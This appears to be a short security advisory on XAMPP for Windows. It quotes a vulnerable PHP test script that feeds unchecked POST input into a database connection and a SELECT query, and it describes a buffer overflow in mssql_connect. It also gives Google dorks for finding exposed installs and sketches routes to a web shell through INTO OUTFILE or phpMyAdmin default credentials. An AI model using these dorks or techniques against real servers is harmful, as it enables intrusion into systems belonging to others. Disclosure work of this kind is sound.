this easy to install Apache / MySQL / PHP distribution for Windows  
carries various (lots) test scripts vulnerable to sql injection, but  
we have here another kind of injection, adodb.php lines 62-68:  
  
...  
include_once 'adodb/adodb-errorpear.inc.php';  
include_once 'adodb/adodb.inc.php';

$db = ADONewConnection($_POST['dbserver']);  
  
@$db->Connect($_POST['host'], $_POST['user'], $_POST['password'], $_POST['database']);  
echo "<p><b>DBServer: $_POST[dbserver]</b><p>";  
$result = $db->Execute("SELECT * FROM $_POST[table]");

mssql_connect() function is vulnerable to buffer overflow and  
the host argument is totally unchecked. Also this shows a vulnerabilty in  
ADODB library (which is in the include path, inside PEAR folder) in the  
Connect method .  
  
If you say that this should be not used for production purpose or  
exposed to the outside world, try theese google dorks:  
  
intitle:XAMPP intitle:windows intitle:version  
intitle:XAMPP intitle:version intitle:1.6.0a +windows  
  
note: I could use the INTO OUTFILE method through sql injection  
to export some shell inside the /htdocs folder because we have FILE  
privilege, but we have magic_quotes_gpc on here. This is instead  
possbile through the PhpMyAdmin default user/password.  
note ii: PHP version is 5.2.1  
note iii: bof is possible because mssql extension is enabled  
by default in php.ini
